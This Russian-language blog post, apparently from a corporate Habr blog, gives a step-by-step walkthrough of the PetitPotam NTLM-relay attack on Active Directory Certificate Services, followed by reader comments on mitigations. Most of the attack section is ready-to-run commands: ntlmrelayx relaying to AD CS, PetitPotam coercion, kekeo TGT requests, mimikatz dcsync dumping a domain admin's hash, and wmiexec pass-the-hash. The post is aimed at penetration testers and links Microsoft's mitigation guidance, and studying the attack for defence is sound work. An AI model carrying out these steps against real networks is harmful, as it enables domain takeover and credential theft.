В этой статье я расскажу про атаку PetitPotam, которая позволяет при определенных условиях захватить контроллер домена всего за несколько действий. Атака основана на том, что можно заставить контроллер домена аутентифицироваться на вашем хосте, получить его хэш и ретранслировать его в службу Active Directory Certificate Services для повышения привилегий. Статья предназначена для пентестеров и тех, кто хочет узнать об актуальных атаках на Active Directory.

О PetitPotam

Данная уязвимость была открыта исследователем безопасности Лионелем Жилль (Gilles Lionel) 18-го июля 2021 г. Атака PetitPotam позволяет контроллеру домена аутентифицироваться на любом удаленном сервере. Это достигается за счет использования метода EfsRpcOpenFileRaw протокола MS-EFSRPC, который заставляет учетную запись компьютера аутентифицироваться в другой системе.

Протокол EFSRPC используется для операций обслуживания и управления зашифрованными данными, которые хранятся удаленно и доступны по сети.

C помощью PetitPotam можно заставить контроллер домена инициировать процесс аутентификации на сервере, который находится под контролем злоумышленника, и поделиться с ним значением NTLM-хэша. С помощью полученных данных злоумышленник может провести атаку NTLM-relay.

Коротко о NTLM-relay

Суть атаки NTLM-relay сводится к тому, чтобы вмешаться в процесс аутентификации по протоколу NTLM и получить доступ к стороннему ресурсу с привилегиями атакуемого пользователя, передав ему NTLM-хэш пользователя или сервиса, который пытается аутентифицироваться. Атака может быть реализована в отношении любого протокола, поддерживающего NTLM-аутентификацию (SMB, HTTP, LDAP и т.д.).

https://en.hackndo.com/ntlm-relay/#authentication-vs-session

Используя атаку PetitPotam, атакующий может повысить свои привилегии до администратора домена. Для успешного проведения атаки необходимо, чтобы:

  1. У атакующего был доступ к внутренней сети

  2. В Active Directory Certificate Services (AD CS) была активирована опция Web Enrollment

Служба AD CS может быть установлена в качестве роли на контроллере домена (Domain Controller), либо на отдельном сервере, который входит в этот домен.

Таким образом злоумышленник ретранслирует NTLM-хэш контроллера домена в службу Web Enrollment AD CS (Active Directory Certificate Services) и запрашивает сертификат от имени контроллера домена. Затем этот сертификат используется для запроса TGT (Ticket Granting Ticket).

Коротко о TGT

После прохождения успешной аутентификации пользователем, центр распределения ключей выдает первичное удостоверение для доступа к сетевым ресурсам — Ticket Granting Ticket. Если данный билет подписать доменной учетной записью Kerberos (krbtgt), то билет будет "золотым" (Golden Ticket), что позволит пользователю аутентифицироваться на любом сервере в этом домене.

Далее мы рассмотрим алгоритм действий для атаки.

Схема атаки

Атака была протестирована на Windows Server 2019. Версия ОС 10.0.17763

  1. Запустим ntlmrelayx, чтобы ретранслировать аутентификационные данные контроллера домена в AD CS

  2. Запустим PetitPotam, чтобы инициировать NTLM-аутентификацию контроллера домена c подконтрольным атакующему сервером (ntlmrelayx)

  3. Получим сертификат PKCS12 в base64 формате

  4. Импортируем сертификат в kekeo (для запроса TGT).

  5. Запустим mimikatz для дампа SAM секретов для выбранного пользователя

  6. Запустим атаку Pass-the-hash

Для демонстрации атаки была развернута следующая инфраструктура:

  • 192.168.0.123 - AD CS (Windows Server 2019)

  • 192.168.0.122 - Контроллер домена (Windows Server 2019)

  • 192.168.0.124 - NTLM-listener (Kali linux)

Шаг 1. Запуск ntlmrelayx

Подготовка
git clone https://github.com/ExAndroidDev/impacket.git
sudo pip3 uninstall impacket
sudo pip uninstall impacket
sudo pip3 install -r requirements.txt
sudo python3 setup.py install
sudo python3 ntlmrelayx.py -debug -smb2support --target http://192.168.0.123/certsrv/certfnsh.asp --adcs --template KerberosAuthentication

Чтобы ntlmrelayx ретранслировал NTLM-хэш контроллера домена в AD CS, используем шаблон KerberosAuthentication, но также можно использовать шаблон DomainControllers.

Если перейти на https://192.168.0.123/certsrv/certfnsh.asp, то увидим форму аутентификации.

Шаг 2. PetiPotam

Подготовка
python3 Petitpotam.py 192.168.0.124 192.168.0.122

Пока ntlmrelayx находится в ожидании соединений, инициируем с помощью PetitPotam NTLM аутентификацию контроллера домена c подконтрольным атакующему сервером для последующей ретрансляцией NTLM-хэша в AD CS.

Шаг 3. Сертификат PKCS12

На машине с запущенным ntlmrelayx получаем сертификат PKCS12 в base64, который зарегистрирован в AD CS от имени контроллера домена.

Этот сертификат можно использовать для получения TGT в службе аутентификации Kerberos.

Шаг 4. Import PKCS12 to kekeo

Подготовка
curl [https://github.com/gentilkiwi/kekeo/releases/download/2.2.0-20210723/kekeo.zip](https://github.com/gentilkiwi/kekeo/releases/download/2.2.0-20210723/kekeo.zip) -o kekeo.zip
tar -xf .\kekeo.zip

Данный сертификат импортируем в kekeo.

.\kekeo.exe
base64 /input:on
tgt::ask /pfx:<base64 сертификат из шага 3> /user:<указать юзера из шага 3> /domain:<название домена> /ptt

Шаг 5. Mimikatz

Подготовка
curl [https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210724/mimikatz_trunk.zip](https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210724/mimikatz_trunk.zip) -o mimikatz.zip
tar -xf mimikatz.zip
.\mimikatz.exe
lsadump::dcsync /domain:<название домена> /user:<укажите любого пользователя>

Теперь у нас есть TGT, который мы можем использовать, чтобы аутентифицироваться на любом хосте в домене. С помощью него мы можем получить NTLM-хэш любого пользователя домена с контроллера домена.

С помощью mimikatz сдампим NTLM-хэш пользователя adm, который является доменным администратором.

mimikatz # lsadump::dsync /domain:DEITERIY.LAB /user:adm

Шаг 6. Pass-the-hash

С помощью Pass-the-hash аутентифицируемся на любом хосте, например на контроллере домена.

wmiexec.exe -hashes :ntlm DEITERIY/adm@192.168.0.122

Заключение

Вот таким образом за несколько действий можно повысить свои привилегии до администратора домена. Стоит отметить, что атаки, основанные на NTLM-relay, существуют давно, но атака PetitPotam выделяется на их фоне, так как не требует учетных данных и не требует взаимодействия пользователя для инициирования аутентификации контроллером домена на сервере злоумышленника.

О мерах предосторожности, рекомендованных компанией Microsoft, можно прочитать по ссылке: https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429

В качестве дополнительных материалов рекомендую ознакомиться со статьями:

Комментарии (4)


  1. ComodoHacker
    05.10.2021 19:29
    +5

    Спасибо за качественную статью, и добро пожаловать на Хабр!

    Надеюсь, продолжите в том же духе.

    В последнее время понятие "корпоративный блог" стало почти синонимом низкопробного кликбейта. Вдруг у вас получится это изменить?


    1. Delyura Автор
      07.10.2021 22:18

      Спасибо! Будем стараться!


  1. vesper-bot
    06.10.2021 10:59
    +1

    Интересно, как не дать контроллеру домена отсылать что-то в ответ на EfsRpcOpenFileRaw, иначе можно половину проблем обойти, аутентифицируясь как контроллер домена с использованием полученного NTLM hash. По крайней мере, такая мера позволит атакующему достать хотя бы до всего AD в режиме чтения, собрать учетные записи и тому подобное, и потом нацеливать атаку на уязвимые компы или пользователей.


    Апд: нашел один из методов тут https://www.bleepingcomputer.com/news/microsoft/windows-petitpotam-attacks-can-be-blocked-using-new-method/ Суть: создаются RPC фильтры, блокирующие на стороне сервера запрос на EfsRpcOpenFileRaw. Тупо, но по идее лучшее из возможных, так как по утверждению в статье по ссылке, EFS при этом продолжает работать.


  1. mvv-rus
    07.10.2021 03:08

    О мерах предосторожности, рекомендованных компанией Microsoft, можно прочитать по ссылке: support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429

    Да, в статье MS KB, посвященной этой атаке, оказалось написано ровно то, что я и ожидал: включение в IIS на AD CS Extended Protection for Authentication (привязки аутентификационных данных NTLM к сессии SSL/TLS, технологии защиты, которая существует уже более 10 лет) блокирует атаку PetitPotam. То есть, конфигурируйте свой CA безопасно — и спите спокойно, враг не пройдет.